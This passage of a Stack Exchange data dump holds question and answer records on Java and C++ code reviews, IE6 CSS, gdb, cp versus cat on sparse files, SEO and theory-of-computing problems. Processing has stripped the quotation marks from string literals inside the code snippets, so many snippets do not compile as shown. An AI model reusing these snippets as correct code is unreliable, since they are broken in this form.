it OnlinePaymentTransactionProcessor or whatever - that type will take the dependencies in its constructor, and have a Complete method that takes an OnlinePaymentTransaction instance.Kudos for striving to avoid a Service Locator :)"  } 
{  "id": "_codereview.39337"  , "question": "I am learning Java as my first programming language and have written a bit of code. I would love to read expert reviews on this code and suggestions to improve right from naming conventions to logic. Please let me know if there is any kind of mistake.public class Sudoku {    public static void main(String[] args) {        long startTime = System.currentTimeMillis();        int[][] array = { { 0, 2, 0, 5, 0, 0, 0, 9, 0 },                          { 5, 0, 0, 0, 7, 9, 0, 0, 4 },                           { 3, 0, 0, 0, 1, 0, 0, 0, 0 },                          { 6, 0, 0, 0, 0, 0, 8, 0, 7 },                           { 0, 7, 5, 0, 2, 0, 0, 1, 0 },                          { 0, 1, 0, 0, 0, 0, 4, 0, 0 },                           { 0, 0, 0, 3, 0, 8, 9, 0, 2 },                          { 7, 0, 0, 0, 6, 0, 0, 4, 0 },                           { 0, 3, 0, 2, 0, 0, 1, 0, 0 } };        solve(array);        System.out.println(Solution is );        for (int row = 0; row < 9; row++) {            for (int col = 0; col < 9; col++) {                System.out.print(  + array[row][col] +  );            }            System.out.println();        }        long endTime = System.currentTimeMillis();        long totalTime = endTime - startTime;        System.out.println(Time taken (in MilliSeconds)=  + totalTime);    }    public static boolean solve(int[][] array) {        if (isSum45(array)) {            return true;        }        for (int row = 0; row < 9; row++) {            for (int col = 0; col < 9; col++) {                if (array[row][col] == 0) {                    for (int num = 1; num <= 9; num++) {                        if (noConflict(array, row, col, num)) {                            array[row][col] = num;                            if (solve(array)) {                                return true;                            }                        }                        array[row][col] = 0;                    }                    return false;                }            }        }        return false;    }    // This method edited is after taking suggestions from this forum    public static boolean noConflict(int[][] array, int row, int col, int num) {        for (int k = 0; k < 9; k++) {            if (array[row][k] == num) {                return false;            }            if (array[k][col] == num) {                return false;            }        }        int m = row - (row % 3);        int n = col - (col % 3);        for (int p = m; p < m + 3; p++) {            for (int q = n; q < n + 3; q++) {                if (array[p][q] == num) {                    return false;                }            }        }        return true;    }    public static boolean isSum45(int[][] array) {        for (int row = 0; row < 9; row++) {            for (int col = 0; col < 9; col++) {                int sum = 0;                int m = row - (row % 3);                int n = col - (col % 3);                for (int p = m; p < m + 3; p++) {                    for (int q = n; q < n + 3; q++) {                        sum = sum + array[p][q];                    }                }                if (sum != 45) {                    return false;                }            }        }        return true;    }}"  , "title": "Alternative methods of solving Sudoku"  , "tags": "java;beginner;recursion;sudoku"  } 
{  "id": "_webmaster.11115"  , "question": "I have had this problem for quite some time. It wasn't actually a big issue until lately when one of our conference site has a lot of IE6 users.The black loading screen appears right after I include a youtube clip into our site. The site is content managed with Joomla but I don't see any reason how Joomla has got any compatibility issues with youtube and IE6 !Anyone knows how, why or has experienced this similar issue b4 ?Tried using   but the youtube div wouldn't appear on firefox. Is the code right?url of website: http://schoolcontingency.comUse http://ipinfo.info/netrenderer/index.php to render IE6 images. Would love to upload the photo but I have 0 reputation :(or refer to here https://stackoverflow.com/questions/5408808/annoying-ie6-black-screen-with-loading-when-youtube-is-added"  , "title": "Annoying IE6. Black screen with loading when youtube is added"  , "tags": "html;css;joomla;internet explorer;browsers"  , "accepted_answer": "Seems is not youtube's fault but something of your site, some plugin or Drupal setting. It's simply a preloading image, that in modern browsers shows just the loading text part while it is preloading something (tried with IEtester, it does not only happen with youtube clips,it's global)  it loads a div or other element -have not checked- which has a huge extension, probably at full page, and shows transparent in these modern browsers due this exact line of css:  background:transparent url(loading.png) no-repeat scroll 0 0; , but iE6, as long as I remember, does not support the transparent attribute, so, shows black. My solution would be alternative css code, or a javascript loading a totally different css, etc, or alternative html when calling it. Another solution might be just deactivate the plugin/feature of your drupal site, find where it's being activated, seems a gobal value, so should be easy.The thing happens at boxplus.css , in this block./* Progress indicator */#boxplus .boxplus-dialog .boxplus-progress {position:absolute;left:0;right:0;top:0;bottom:0;height:32px;width:32px;margin:auto;background:transparent url(loading.png) no-repeat scroll 0 0;}So, dig for progress indicator feature, deactivate it, or tweak the html or css to support IE6. Should be pretty easy for anyone having some html/css knowledge, provided you tried first the GUI way of simply touching the drupal plugin.Edit: Doing it by hand, the hard way, it'd be making just a full page div, and try first just setting no background property at all, and use a small transparent gif (if know how to do smooth aliased borders with a gif, I mean, not being too sharp) instead of the png. And of course, all conditional css/html needed."  } 
{  "id": "_unix.341249"  , "question": "I am trying to debug a problem with my program using gdb.  I compiled using the debug setup in the makefile; clean build:...#no -O2 for debug but need -gC++FLAGS = -c -fPIC -g -DLINUX -D_DEBUG -D_FILE_OFFSET_BITS=64 -m64 -Wall#C++FLAGS = -c -fPIC -O2 -DLINUX -DNDEBUG -D_FILE_OFFSET_BITS=64 -m64 -Wallifeq ($(OS),Darwin)   LDFLAGS  = -m64 -pthread -ldl -L../$(LIB_DIR1)/debug \\        -L$(DEP_DIR)/s/$(LIB_DIR1) \\        -L$(DEP_DIR)/t/$(LIB_DIR2)/debugelse  ...endifLDLIBS = -lu_debug -ls_debug -lt_debug -ltmalloc_debug...to run gdb I did the following:copied the file I needed to the current dir.At mac command line:gdb ./ExampleProgram(gdb) b 2612(gdb) set env DYLD_LIBRARY_PATH=/full/path/to/dependency/darwin/lib:/full/path/to/dependency/darwin/lib/debug:/full/path/to/athother/dependency/darwin/lib/debug(gdb) r filenameIt says starting program: /full/path/to/example/./ExampleProgram filenamearch: realpath failed on /full/path/to/program/example/./ExampleProgramprogram exited with code 01.I'm not finding a lot of good info on the problem.  unix gdb use, no executable was what it said when I tried to run it in emacs."  , "title": "gdb arch: realpath failed when try to run with parameter"  , "tags": "osx;gdb"  } 
{  "id": "_cogsci.12712"  , "question": "We remove children from anything that is sex related, including talks and photos. When I think about it, it seems deeply and morally wrong to not do it.When I first thought about that, I thought that it might be because we don't want to encourage them to become sexual. But we also don't want them to be violent, and no one thinks it's wrong to send a 5 year old to a martial arts class. For any other aspect of life, we let them, to some degree, experience.That made me think that it might be something more than cultural.  Of course the definition of child may vary depending on the society,  but not the moral code of that ruling."  , "title": "Why do many parents prevent children from being exposed to anything sex-related?"  , "tags": "sexuality;moral psychology;evolutionary psychology"  } 
{  "id": "_webmaster.20584"  , "question": "Possible Duplicate:Do dedicated IP addresses improve SEO? There are occasionally cases in which a client owns multiple domains for his business.  For example a client may own landscaping.com, and also own newyork-landscaping.com and etc...I have a question regarding the SEO strategy for a business in such cases, assuming that there are 50 domains for different cities, and assuming that there is unique content on every one of those 50 domains.Is it better to have different IP addresses for each domain? "  , "title": "Multidomain website SEO strategy"  , "tags": "seo"  , "accepted_answer": "IP addresses should be irrelevant. In terms of SEO, what matters is that the content on the sites not be cloned content. Google catches that and realizes you're running a keyword site farm.Hopefully Google will get smarter and also penalize companies that use 50 domains to promote one company even when the sites have different content as well. ;o)"  } 
{  "id": "_codereview.123053"  , "question": "I have an implementation of flatmap for std::vector. However, I find the repetition of the inferred return type to be ugly. And, in general, I suspect that the implementation could be cleaner or more general.template<typename T, typename FN>static auto flatmap(const std::vector<T> &vec, FN fn) -> std::vector<typename std::remove_reference<decltype(fn(T())[0])>::type> {    std::vector<typename std::remove_reference<decltype(fn(T())[0])>::type> result;    for(auto x : vec) {        auto y = fn(x);        for( auto v : y ) {            result.push_back(v);        }    }    return result;};It can be used like this:TEST_F(MarkdownUtilTests, testFlatmap) {    std::vector<int> v = { 1, 2, 3};    std::vector<int> result = flatmap(v, [](int x) { return std::vector<int> { x, x*2, x*3 }; } );    assertThat(result, is(std::vector<int> {1,2,3,2,4,6,3,6,9} ));}"  , "title": "Flatmap implementation"  , "tags": "c++;c++11"  } 
{  "id": "_unix.30295"  , "question": "cp a b and cat a > b, what's the difference?In x86 install script of linux kernel's source tree (arch/x86/boot/install.sh),both are used:cat $2 > $4/vmlinuzcp $3 $4/System.mapWhy don't they just keep the same format if one is better than the other?"  , "title": "cp vs. cat to copy a file"  , "tags": "bash;linux kernel"  , "accepted_answer": "One more issue comes to my mind where cat vs. cp makes a significant difference:By definition, cat will expand sparse files, filling in the gaps with real zero bytes, while cp at least can be told to preserve the holes.Sparse files are files where sequences of zero bytes have been replaced by metadata to preserve space. You can test by creating one with dd, and duplicate it with the tools of your choice. Create a sparse file (changing to /tmp beforehand to avoid trouble - see final note):15> cd /tmp16> dd if=/dev/null of=sparsetest bs=512b seek=5 0+0 records in 0+0 records out 0 bytes (0 B) copied, 5.9256e-05 s, 0.0 kB/ssize it - it should not take any space.17> du -sh sparsetest0       sparsetestcopy it with cp and check size18> cp sparsetest sparsecp19> du -sh sparsecp0       sparsecpnow copy it with cat and check size20> cat sparsetest > sparsecat21> du -sh sparsecat1.3M    sparsecattry your preferred tools to check on their behaviourdon't forget to clean up.Final note of caution:Experiments like these have the inherent chance of rising your fame with your local sysadmin if you're doing them on a filesystem that's part of his backup plan, or critical for the well-being of the system. Depending on his choice of tool for backup, he might end up needing more tape media than he ever considered possible to back up that one 0-byte file which gets expanded to terabytes of zeroes.Other files which cannot be copied with neither cat nor cp would include device-special files, etc.It depends on your implementation of copying tool if it is able to duplicate the device node, or if it would merrily copy its contents instead."  } 
{  "id": "_cs.23428"  , "question": "Let $M$ be a square matrix with entries that are $0$ or $1$ and let $v$ be a vector with values that are also $0$ or $1$.  If we are given $M$ and $y = Mv$, we can computer $v$ if $M$ is non-singular.  Now let us take the second bit (from the right) of the binary representation of each $y_i$ as another vector $z$. So $z$ also has entries which are $0$ or $1$. If $y_i$ has fewer than two bits we just let $z_i=0$.  If we are given $z$ and $M$, how (and when) can you find a $v$ so that  $Mv$ would produce $z$ under this operation?Here is an example$$M = \\begin{pmatrix}  0 & 0 & 1 & 0\\\\  1 & 1 & 0 & 1\\\\  1 & 1 & 1 & 0\\\\  0 & 1 & 1 & 1\\\\\\end{pmatrix}, v = \\begin{pmatrix}  0 \\\\   1 \\\\   1 \\\\   1\\\\\\end{pmatrix}\\implies Mv=\\begin{pmatrix}  1 \\\\   2 \\\\  2 \\\\   3\\\\\\end{pmatrix}.$$So in this case $$z = \\begin{pmatrix}0 \\\\1 \\\\1 \\\\1 \\\\\\end{pmatrix}.$$Is this problem in fact NP-hard?"  , "title": "How to compute a curious inverse"  , "tags": "algorithms;np hard;linear algebra"  , "accepted_answer": "This problem can be cast into a familiar form: it's an example of what is known as a 0-1 linear programming problem. You have a set of variables $v_1, v_2, \\dots v_n$ subject to constraints of the form $m\\le a_1v_1+a_2v_2+\\cdots +a_nv_n\\le M$. In your particular problem, we also have $a_i \\in \\{0, 1\\}$. You are looking for any feasible solutions, namely tuples $(v_1, \\dots, v_n)$ which satisfy all the constraints.For example, suppose we have$$M = \\left( \\begin{array}{cccc}         0 & 0 & 1 & 0\\\\         1 & 1 & 0 & 1\\\\         1 & 1 & 1 & 0\\\\         0 & 1 & 1 & 1       \\end{array} \\right), \\quad{\\text{and}}\\quadz= \\left( \\begin{array}{c}     0\\\\1\\\\0\\\\1   \\end{array}\\right)$$then you want $$v= \\left( \\begin{array}{c}     a\\\\b\\\\c\\\\d   \\end{array}\\right)$$such that $Mv$ will be, in binary (with the lower-order bit unspecified)$$Mv=\\left(\\begin{array}{c}c \\\\ a+b+d \\\\ a + b + c \\\\ b + c + d \\end{array}\\right)=\\left(\\begin{array}{c}\\mathtt{0\\_}\\\\ \\mathtt{1\\_}\\\\ \\mathtt{0\\_}\\\\ \\mathtt{1\\_}\\end{array}\\right)$$From this we have the constraints$$\\begin{array}{c}0\\le a, b, c, d\\le 1\\\\2\\le a + b + d\\le 3\\\\0\\le a + b + c\\le 1\\\\2\\le b + c + d\\le 3\\end{array}$$and you want to find $a, b, c, d$ such that all the constraints are simultaneously satisfied.We've moved into 0-1 LP land because there are established procedures for solving problems like this, though sadly there's nowhere near enough room in this post to introduce them, so you'll have to do the legwork yourself. Be aware that problems like this are very compute-intensive (by which I mean NP-hard) and as far as I know you're not going to get anything like an elegant formulation of the form This can be solved if and only if $z$ is of the form ...By the way, the example I used does indeed have a solution, $v$, and in this particular case is unique, though in general you'll have several solutions (if there are any at all). "  } 
{  "id": "_cstheory.14786"  , "question": "The oracles that are used in relativized collapses or separations of complexity classes rarely represent $natural$ algorithmic problems. They are typically constructed artificially with techniques like diagonalization, for the sole purpose of achieving the relativized collapse or separation. A notable exception is that for any ${\\bf PSPACE}$-complete set $L$ it holds that ${\\bf P}^L={\\bf NP}^L$. This indeed leads to natural relativized worlds, since there are  ${\\bf PSPACE}$-complete languages that correspond to  natural algorithmic tasks. Generally, I am looking for such examples, where the oracle represents a natural problem. (And, of course, it is not trivially implied by the above example). In particular, is there any such known natural relativized world in which ${\\bf P}$ and ${\\bf NP}$ are separated?$Note:$ A random oracle here does not count as natural, because it does not represent a natural algorithmic problem. It rather represents that a statement holds for almost all oracles, regardless to their naturality."  , "title": "Natural relativized worlds"  , "tags": "cc.complexity theory;complexity classes;oracles"  } 
{  "id": "_cs.18178"  , "question": "I have a practice exam question that I don't know how to set up a recurrence for. It is dealing with a hash table. The question is as follows:Suppose that a hashing strategy is designed so that it starts with an initial hash table size of $H= 8$. You may assume that only insertions are performed (no deletions).Any time the hash table is going to be more than 50% full (when an attempt is made to add item $\\frac{H}{2} + 1$ to a table of size $H$), the hash table size is doubled to $2\\times H$, and then the $\\frac{H}{2}$ keys in the previous hash table are rehashed using $\\frac{H}{2}$ extraneous key insertions into the new table of size $2 \\times H$. The key insertions used to initially place each key into the hash table are called necessary key insertions (these are not extraneous).The question is asking to derive a recurrence relation $E(H)$ for the number of extraneous key insertions that have occurred in total up until the point in time that the hash table size is $H$ and to explain where the terms in the recurrence relation derive from.If someone could help me out with this, it would provide very helpful as I am practicing for an exam that I have in a week. Thanks everyone.I got the result $E(H)=2\\times E(\\frac{H}{2})$ because after each rehash there are $\\frac{H}{2}$ extraneous key insertions being put into the table of size $2\\times H$. So if the size is twice the amount of $H$, I figured the recurrence would be $E(H)=2\\times E(\\frac{H}{2})$. I only posted here because I was hoping someone could assist me with this because this question has me a bit stumped. "  , "title": "Recurrence for total number of extraneous key insertions in a hash table"  , "tags": "data structures;runtime analysis;recurrence relation;hash tables"  } 
{  "id": "_softwareengineering.173025"  , "question": "Suppose there are some methods to convert from X to Y and vice versa; the conversion may fail in some cases, and exceptions are used to signal conversion errors in those cases.Which would be the best option for defining exception classes in this context?A single XYConversionException class, with an attribute (e.g. anenum) specifying the direction of the conversion (e.g.ConversionFromXToY, ConversionFromYToX).A XYConversionException class, with two derived classesConversionFromXToYException and ConversionFromYToXException.ConversionFromXToYException and ConversionFromYToXException classeswithout a common base class."  , "title": "Designing exceptions for conversion failures"  , "tags": "design;exceptions"  , "accepted_answer": "The foremost reason for having different exception types is to be able to catch them selectively.So the question you should ask yourself is: Will you ever have a piece of code where conversion might fail and you only want to catch conversion errors in one direction and not the other? If so, having two distinct exception classes is the best way to go. If you want to be able to catch both in the same clause, then you need a common super class as well.If you do find it hard to anticipate how the exceptions are caught, then stick to YAGNI and go with the first option. You can always add the subclasses later if you ever actually need them.Apart from that, I think you should ask yourself whether exceptions are the right way to signal conversion failure, because in fact failure is an expected option. In fact a lot of APIs merely use sentinel values for that.Another nice way to propagate errors would be to wrap return information of any call that can fail like this (in pseudo-code): class Outcome<Result, Error> {      const Bool success;      const Result result;      const Error error;      Result sure() {           if (success) return result;           else throw error;      } } Outcome<X, { value: Y, message: String }> convertYToX(Y y) {     if (suitable(y)) return Outcome{ success: true, result: convert(y) };     else return Outcome{ success: false, error: { }}; }And then either do: handleX(convertXToY(myY).sure());//will throw an exception if an error occurredOr inspect the result yourself: var o = convertXToY(myY); if (o.success)     handleX(o.result); else {     log('error occured during conversion:');     log(o.error.message);     log('using default');     handleX(defaultX); }"  } 
{  "id": "_cstheory.27143"  , "question": "Following a fruitful question in MO, I thought it would be worthwhile to discuss some notable paper names in CS.It is quite clear that most of us might be attracted to read (or at least glance at) a paper with an interesting title (at least I do so every time I go over a list of papers in a conference), or avoid reading poorly named articles.Which papers do you remember because of their titles (and, not-necessarily, the contents)?My favorite, while not a proper TCS paper, is The relational model is dead, SQL is dead, and I dont feel so good myself. ."  , "title": "Most memorable CS paper titles"  , "tags": "soft question;big list"  } 
{  "id": "_cs.68763"  , "question": "I need to Find grammar for the following language: $\\{ a^{m_1}ba^{m_2}b\\dots a^{m_k}bca^n \\mid m_j = n \\text{ for some } 1 \\le j \\le k \\}$.can someone help me to solve it? I am not sure how to start."  , "title": "Find grammar for the following language: $\\{ a^{m_1}ba^{m_2}b\\dots a^{m_k}bca^n \\mid m_j = n \\text{ for some } 1 \\le j \\le k \\}$"  , "tags": "formal languages;formal grammars"  } 
{  "id": "_unix.127490"  , "question": "I already installed FreeBSD 10, Apache 2.4 and PHP 5.5. I also just bought a domain from GoDaddy, and I would like to setup a web-hosting in my server, in order to make my website to be reachable from any web browser. So should be my configuration?I assigned my server (running FreeBSD 10) the static IP address 192.168.1.130My domain.com has x1.x1.x1.x1My internet service provider is (ISP) is x2.x2.x2.x2Questions:From these 3 IP addresses above, which one should my httpd.conf in Apache 2.4 have to be listen to?  In my DNS A record at GoDaddy, which IP address should my domain point to?Do I need to make any changes in my /etc/hosts file?Note: I use x1.x1.x1.x1 and x2.x2.x2.x2 as examples."  , "title": "Hosting on freeBSD"  , "tags": "networking;apache httpd"  } 
{  "id": "_cstheory.31878"  , "question": "Due to the symmetry of information, it follows up to an additive constant thatK(X,Y) = K(Y,X) Does this hold for more than two data objects as well? "  , "title": "Is joint Kolmogorov Complexity order invariant?"  , "tags": "cc.complexity theory;it.information theory;kolmogorov complexity"  , "accepted_answer": "You don't need symmetry of information. The invariance theorem does the trick. Let $p$ the smallest program such that $U(p) = \\langle x, y\\rangle$. One way of producing $(y, x)$ is to take make a program $q$ that runs whatever program it is given as input, interprets the output as a pair, and flips the two parts. This gives you a program $\\overline{q}p$ to produce $\\langle y, x\\rangle$. Since $\\overline{q}$ is only a constant number of bits long, the two $K$'s are equal up to a constant.Now for higher numbers of arguments, the same idea works in principle. However, the constant does depend on the number of arguments: if I want to write a $q$ program to compute some $n$-tuple of numbers and re-arrange it into an arbitrary order, I need to encode the order in $\\log(n!)$ bits (if the ordering is random). So if the number of arguments is not fixed to a constant, you need to take that into account.Isn't there some other way, besides the $q$ program? No, if there were we could encode free information in the ordering of the tuple.Assume for a contradiction that $K(x_1, \\ldots, x_n)$ is invariant up to a constant to permutation of the arguments, with the constant independent of $n$. Let $X = \\langle x_1, \\ldots, x_n\\rangle$ be the enumeration of the first $n$ binary strings, so that $K(X) \\leq_+ K(n)$. Let $z$ be a random string with $|z| = \\log(n!)$ Let $\\langle x_1, \\ldots, x_n \\rangle$ be a random string. Index all permutations of $n$ elements by binary strings and pick the one corresponding to $z$. Call this permutation of our tuple $X_z$. Let $p$ and $p_z$ be the shortest programs for $X$ and $X_z$ respectively. Build a program $q$ that reads input $\\overline{p}p_z$ and returns $z$. Putting all this together gives us $$\\log(n!) \\leq_+ K(z) \\leq_+ |\\overline{q}\\overline{p}p_z| \\leq_+ 2K(X) \\leq_+ 2K(n) \\leq_+ 4\\log(n).$$"  } 
{  "id": "_codereview.109341"  , "question": "I am fairly new to C++, and to have a break from all that Java programming, I decided to do something in C++, which is sorting. The four sorting algorithms are:Bubble SortInsertion SortQuick SortMerge SortCode:#include <iostream>#include <ctime>#include <cstdlib>#include <iterator>#include <chrono>#define SIZE 100#define MAX 1000typedef std::chrono::high_resolution_clock Clock;void bubbleSort(int toSort[], int length);void insertionSort(int toSort[], int length);void quickSort(int toSort[], int length);void mergeSort(int toSort[], int length);void printArray(int arr[], int length){    for (int i = 0; i < length; i++) {        std::cout << arr[i] <<  ;    }    std::cout << \\n;}int main(){    srand(time(NULL));    int arr[SIZE];    for (int i = 0; i < SIZE; i++) {        arr[i] = rand() % MAX;    }    int arrCopy[SIZE];    std::copy(std::begin(arr), std::end(arr), std::begin(arrCopy));    auto start = Clock::now();    bubbleSort(arrCopy, SIZE);    auto end = Clock::now();    printArray(arrCopy, SIZE);    std::cout << Time taken (nanoseconds):  << std::chrono::duration_cast<std::chrono::nanoseconds>(end - start).count() << std::endl;    std::copy(std::begin(arr), std::end(arr), std::begin(arrCopy));    start = Clock::now();    insertionSort(arrCopy, SIZE);    end = Clock::now();    printArray(arrCopy, SIZE);    std::cout << Time taken (nanoseconds):  << std::chrono::duration_cast<std::chrono::nanoseconds>(end - start).count() << std::endl;    std::copy(std::begin(arr), std::end(arr), std::begin(arrCopy));    start = Clock::now();    quickSort(arrCopy, SIZE);    end = Clock::now();    printArray(arrCopy, SIZE);    std::cout << Time taken (nanoseconds):  << std::chrono::duration_cast<std::chrono::nanoseconds>(end - start).count() << std::endl;    std::copy(std::begin(arr), std::end(arr), std::begin(arrCopy));    start = Clock::now();    mergeSort(arrCopy, SIZE);    end = Clock::now();    printArray(arrCopy, SIZE);    std::cout << Time taken (nanoseconds):  << std::chrono::duration_cast<std::chrono::nanoseconds>(end - start).count() << std::endl;    return 0;}void swapElements(int toSort[], int i, int j) {    int temp = toSort[i];    toSort[i] = toSort[j];    toSort[j] = temp;}void insertionSort(int toSort[], int length){    int temp;    for (int i = 0; i < length; i++) {        for (int j = i; j > 0; j--) {            if (toSort[j] < toSort[j - 1]) {                temp = toSort[j];                toSort[j] = toSort[j - 1];                toSort[j - 1] = temp;            }        }    }}void bubbleSort(int toSort[], int length){    int temp;    for (int i = 0; i < length; i++) {        for (int j = 1; j < length - i; j++) {            if (toSort[j] < toSort[j - 1]) {                temp = toSort[j];                toSort[j] = toSort[j - 1];                toSort[j - 1] = temp;            }        }    }}int partitionElements(int toSort[], int beginPtr, int endPtr) {    int pivot = toSort[(rand() % endPtr - beginPtr + 1) + beginPtr];    beginPtr--;    while (beginPtr < endPtr) {        do {            beginPtr++;        } while (toSort[beginPtr] < pivot);        do {            endPtr--;        } while (toSort[endPtr] > pivot);        if (beginPtr < endPtr) {            // Make sure they haven't crossed yet            swapElements(toSort, beginPtr, endPtr);        }    }    return beginPtr;}void quickSort(int toSort[], int beginPtr, int endPtr){    if (endPtr - beginPtr < 2) {        return;    }    if (endPtr - beginPtr == 2) {        // Optimization: array length 2        if (toSort[beginPtr] > toSort[endPtr - 1]) {            swapElements(toSort, beginPtr, endPtr - 1);        }        return;    }    int splitIndex = partitionElements(toSort, beginPtr, endPtr);    quickSort(toSort, beginPtr, splitIndex );    quickSort(toSort, splitIndex, endPtr);}void quickSort(int toSort[], int length){    srand(time(NULL));    quickSort(toSort, 0, length);}void copyArray(int src[], int srcPos, int dest[], int destPos, int toCopyLength){    for (int i = 0; i < toCopyLength; i++) {        dest[i + destPos] = src[i + srcPos];    }}void mergeParts(int toSort[], int buffer[], int beginPtr, int middle,        int endPtr) {    copyArray(toSort, beginPtr, buffer, beginPtr, endPtr - beginPtr);    int index1 = beginPtr;    int index2 = middle;    int resultindex = beginPtr;    while (index1 < middle && index2 < endPtr) {        if (buffer[index1] < buffer[index2]) {            toSort[resultindex++] = buffer[index1++];        } else {            toSort[resultindex++] = buffer[index2++];        }    }    if (index1 < middle) {        copyArray(buffer, index1, toSort, resultindex, middle - index1);    }    if (index2 < endPtr) {        copyArray(buffer, index2, toSort, resultindex, endPtr - index2);    }}void mergeSort(int toSort[], int buffer[], int beginPtr, int endPtr) {    if (beginPtr + 1 < endPtr) {        mergeSort(toSort, buffer, beginPtr, (beginPtr + endPtr) / 2);        mergeSort(toSort, buffer, (beginPtr + endPtr) / 2, endPtr);        mergeParts(toSort, buffer, beginPtr, (beginPtr + endPtr) / 2, endPtr);    }}void mergeSort(int toSort[], int length){    mergeSort(toSort, new int[length], 0, length);}Results:...Time taken (nanoseconds): 0...Time taken (nanoseconds): 0...Time taken (nanoseconds): 0...Time taken (nanoseconds): 0NOTE: The results above do not print the correct time taken. Please ignore that fact, and review my code.Questions:Any bad practices? I carry everything from Java, and anything that is different (e.g. System.nanoTime() and std::chrono::high_resolution_clock) I get off SO.Algorithm criticism?Anything that can be done more efficiently and/or with less code?"  , "title": "Quad-sort: 4 sorting methods in one C++ file"  , "tags": "c++;beginner;c++11;sorting"  , "accepted_answer": "This answer is mostly about design and good practice, and not so much about the algorithms themselves. Therefore, I will mostly use mergeSort in the examples.For the sake of completeness: a sorting algorithm with an array + size interface is really C-ish. A proper C++ algorithm would take a pair of iterators and would be templated:template<typename RandomAccessIterator>void mergeSort(RandomAccessIterator first, RandomAccessIterator last);Moreover, most of the standard library that deal with algorithms additionally accept an optional Compare parameter so that you use use something else than operator< to compare two elements. Assuming you have a C++14 compiler, you can use std::less<> as a default:template<    typename RandomAccessIterator,    typename Compare = std::less<>>void mergeSort(RandomAccessIterator first, RandomAccessIterator last,               Compare compare={});Now, lets have a look at the functions that you have reimplemented and that you can already find in the standard library (there is some overlap with other answers):swapElements actually performs std::swap(toSort[i], toSort[j]);, or std::swap(*it1, *it2); if we consider that it1 and it2 are iterators corresponding to toSort + i and toSort + j. Note that we have templated mergeSort so that it can sort any random-access collection of any type. We would like our program to be able to use user-defined swap function instead of std::swap so that it can take advantage of the potential optimizations. We can use argument-dependent lookup to do the job:using std::swap;swap(*it1, *it2);The first line tells the compiler to take std::swap into account for unqualified calls to swap. The second makes an unqualified call to swap: the compiler will check the types of *it1 and *it2 and search for a swap function in their associated namespace. If the lookup finds such a function, it will use it, otherwise it will use std::swap instead. Note that you can also use std::iter_swap which does exactly that:std::iter_swap(it1, it2);partitionElements could probably be replaced by std::partition.You can replace copyArray by std::copy, or std::move if you know that you won't read the elements after they have been moved-from. Note that std::sort from the standard library is required to work with move-only types too, so it would be nice if you could ensure that your sorting algorithms work with such types (agreed, it's not trivial for quicksort).I am pretty sure that mergeParts could be replaced by std::inplace_merge too.So, taking all of that into account, here is how a modern C++ mergesort should look:template<typename RandomAccessIterator, typename Compare>void mergeSort(RandomAccessIterator first, RandomAccessIterator last,               Compare compare, std::size_t size) {    if (size < 2) return;    auto middle = first + size / 2;    mergeSort(first, middle, compare, size / 2);    mergeSort(middle, last, compare, size - size/2);    std::inplace_merge(first, middle, last, compare);}template<    typename RandomAccessIterator,    typename Compare = std::less<>>void mergeSortImpl(RandomAccessIterator first, RandomAccessIterator last,               Compare compare={}){    std::size_t size = last - first;    mergeSortImpl(first, last, compare, size);}This is better, bu still not perfect: the agorithm currently works with random-access iterators, which is ok with std::vector, std::deque or std::array, but it also means that it doesn't work with std::list or std::forward_list which respectively expose bidirectional iterators and forward iterators. std::inplace_merge doesn't work with forward iterators (yet?) but it works fine with bidirectional iterators; here is what we have to change to make our mergeSort work with bidirectional iterators:Change iterators subtractions by a call to std::distance.Change the iterator-size addition by std::next.Change the name of the template parameters so that they do not lie.Those simple functions from the header <iterator> work with any category of iterator that is at least forward iterator. That also means that if one day std::inplace_merge works with forward iterators, then mergeSort will also work with forward iterators out-of-the-box and allow to sort, for example, singly linked lists. Here is our new enhanced algorithm:template<typename RandomAccessIterator, typename Compare>void mergeSort(RandomAccessIterator first, RandomAccessIterator last,               Compare compare, std::size_t size) {    if (size < 2) return;    auto middle = std::next(first, size / 2);    mergeSort(first, middle, compare, size / 2);    mergeSort(middle, last, compare, size - size/2);    std::inplace_merge(first, middle, last, compare);}template<    typename RandomAccessIterator,    typename Compare = std::less<>>void mergeSortImpl(RandomAccessIterator first, RandomAccessIterator last,               Compare compare={}){    std::size_t size = std::distance(first, last);    mergeSortImpl(first, last, compare, size);}More than an in-depth review of your algorithms, this answer was more about good pratices when writing algorithms. Basically, here is what you should keep in mind:Make your algorithms generic when possible.Iterators are the way to go (even though ranges will enhance things).The standard library can help you.Categories of iterators matter.Custom comparisons are cool (if you give std::greater<> instead of std::less<> to a sorting algorithm, it will sort the collection in reverse order)."  } 
{  "id": "_codereview.84052"  , "question": "Is there a better way to check if a number is a prime?#include <iostream>#include <math.h>using namespace std;bool doAgain();bool isPrime(int num);int main(){    do {        int num = 0;        do {            cout << Enter a positive integer to check: ;            cin >> num;        } while(num < 1);        if(isPrime(num)) {            cout << Prime!!! << endl;        } else {            cout << Not a prime. << endl;        }    } while(doAgain());    cout << Bye! << endl;}bool doAgain() {    while(true) {        cout << Again? (Y/N) ;        char again;        cin >> again;        if(again == 'Y') {            return true;        } else if(again == 'N') {            return false;        }    }}bool isPrime(int num) {    if(num < 2) {        return false;    } else if(num == 2) {        return true;    } else if(num % 2 == 0) {        return false;    }    for(int i = 3, max = sqrt(num); i < max; i += 2) {        if(num % i == 0) {            return false;        }    }    return true;}"  , "title": "Checking if a number is prime"  , "tags": "c++;performance;beginner;c++11;primes"  , "accepted_answer": "Unfortunately, your isPrime function returns incorrect results for the squares of odd numbers.This is a pretty common oversight though, so don't feel too bad.A better implementation of isPrime looks more like this:bool isPrime(int num) {    if (num <= 3) {        return num > 1;    } else if (num % 2 == 0 || num % 3 == 0) {        return false;    } else {        for (int i = 5; i * i <= num; i += 6) {            if (num % i == 0 || num % (i + 2) == 0) {                return false;            }        }        return true;    }}In the first if, we handle the special cases of 0 through 3 as well as all of the negative numbers.In the second, we eliminate all of the multiples of 2 and 3.Finally, in the catch-all else, we're handling everything else.By starting at 5 and incrementing by 6, we're able to skip all of our multiples of 2 and 3 which we already eliminated.  So we're checking 2/3rds of the numbers your original implementation checks.Moreover, because we're dealing with integers, i * i <= num is a bit better than i < sqrt(num) (which actually needs to be <=)."  } 
{  "id": "_cs.68250"  , "question": "Expert systems seem to have been left at the wayside a little bit in the 21st century. In fact, expert-systems was not even a tag on this site (until I just created it). The traditional focus in expert systems has been on rule based systems and logical resolution via, for example, 2-SAT backward chaining. Have there been attempts to integrate modern machine learning with traditional expert systems theory?"  , "title": "Evolving expert systems with machine learning"  , "tags": "machine learning;expert systems"  } 
